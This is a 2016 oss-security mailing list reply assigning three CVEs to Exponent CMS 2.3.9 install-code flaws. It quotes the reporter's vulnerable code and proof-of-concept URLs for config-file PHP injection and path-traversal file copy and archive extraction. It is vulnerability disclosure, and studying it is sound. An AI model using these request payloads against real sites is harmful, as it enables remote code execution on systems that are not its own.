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Date: Thu, 29 Sep 2016 09:08:16 -0400 (EDT)
From: cve-assign@...re.org
To: felixk3y@...il.com
Cc: cve-assign@...re.org, oss-security@...ts.openwall.com
Subject: Re: CVE Request - Exponent CMS 2.3.9 multi-vulnerabilities in install code

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> all vulnerabilities have been fixed.
> https://exponentcms.lighthouseapp.com/projects/61783/changesets/4ae457ff1bf80e8b61286cd125ca794b25564e86
> https://github.com/exponentcms/exponent-cms/commit/4ae457ff1bf80e8b61286cd125ca794b25564e86

> 1. Arbitrary code execution
> https://github.com/exponentcms/exponent-cms/blob/master/install/index.php#L56-L63
> 
> lines 56 - 63
> if (isset($_REQUEST['sc'])) {
>     if (file_exists("../framework/conf/config.php")) {
>         // Update the config
>         foreach ($_REQUEST['sc'] as $key => $value) {
> //            $value = expString::sanitize($value);
>             expSettings::change($key, $value);
> 
> The function of the expSettings::change() is to modify the config
> file("framework/conf/config.php"), but there is failed to filter user input
> lead to we could write anything to config file.
> 
> Proof of concept:
> http://www.exponentcms.org/install/index.php?sc[SMTP_PORT]=25\\');phpinfo();//

Use CVE-2016-7565.


> 2. RCE vulnerability
> https://github.com/exponentcms/exponent-cms/blob/master/install/index.php#L47-L53
> 
> if (isset($_REQUEST['profile'])) {
>     expSettings::activateProfile($_REQUEST['profile']); //here
>     expTheme::removeSmartyCache(); //FIXME is this still necessary?
>     expSession::clearAllUsersSessionCache();
>     flash('message', gt("New Configuration Profile Loaded"));
>     header('Location: ../index.php');
> 
> expSettings::activateProfile() :
> https://github.com/exponentcms/exponent-cms/blob/master/framework/core/subsystems/expSettings.php#L587-L593
> 
> copy(BASE . "framework/conf/profiles/$profile.php", BASE .
> "framework/conf/config.php"); //here
> // tag it with the profile name
> $fh = fopen(BASE . "framework/conf/config.php", "a");
> 
> We can upload a "php" file to website, then copy it to
> "framework/conf/config.php"
> 
> Proof of concept:
> first, We first upload a "php" to website (by "uploader_paste.php"), such
> as /files/test.php
> then visit
> http://www.exponentcms.org/install/index.php?profile=../../../files/test,
> then will copy "/files/test.php" to "framework/conf/config.php".

Use CVE-2016-7790.


> 3. File Upload vulnerability
> https://github.com/exponentcms/exponent-cms/blob/master/install/index.php#L77-L94
> 
> $files = BASE . "themes/" . DISPLAY_THEME_REAL . "/" .
> $_REQUEST['install_sample'] . ".tar.gz";
> if (!file_exists($files)) {
>     $files = BASE . "install/samples/" . $_REQUEST['install_sample'] .
> ".tar.gz"; //here
> }
> if (file_exists($files)) { // only install if there was an archive
>     include_once(BASE . 'external/Tar.php');
>     $tar = new Archive_Tar($files); //Extract .tar.gz file
>     $return = $tar->extract(BASE);
> 
> The function of those code is extract .tar.gz file, but through
> "install_sample", the parameter of "$files" is what we can control, so we
> could upload a .tar.gz evil file, then extract it.
> 
> Proof of concept:
> first, upload .eql and .tar.gz files(by "uploader_paste.php"),such as
> /files/10.tar.gz
> then visit
> http://www.exponentcms.org/install/index.php?install_sample=../../files/10
> Successfully extract file:  http://www.exponentcms.org/3.php

Use CVE-2016-7791.

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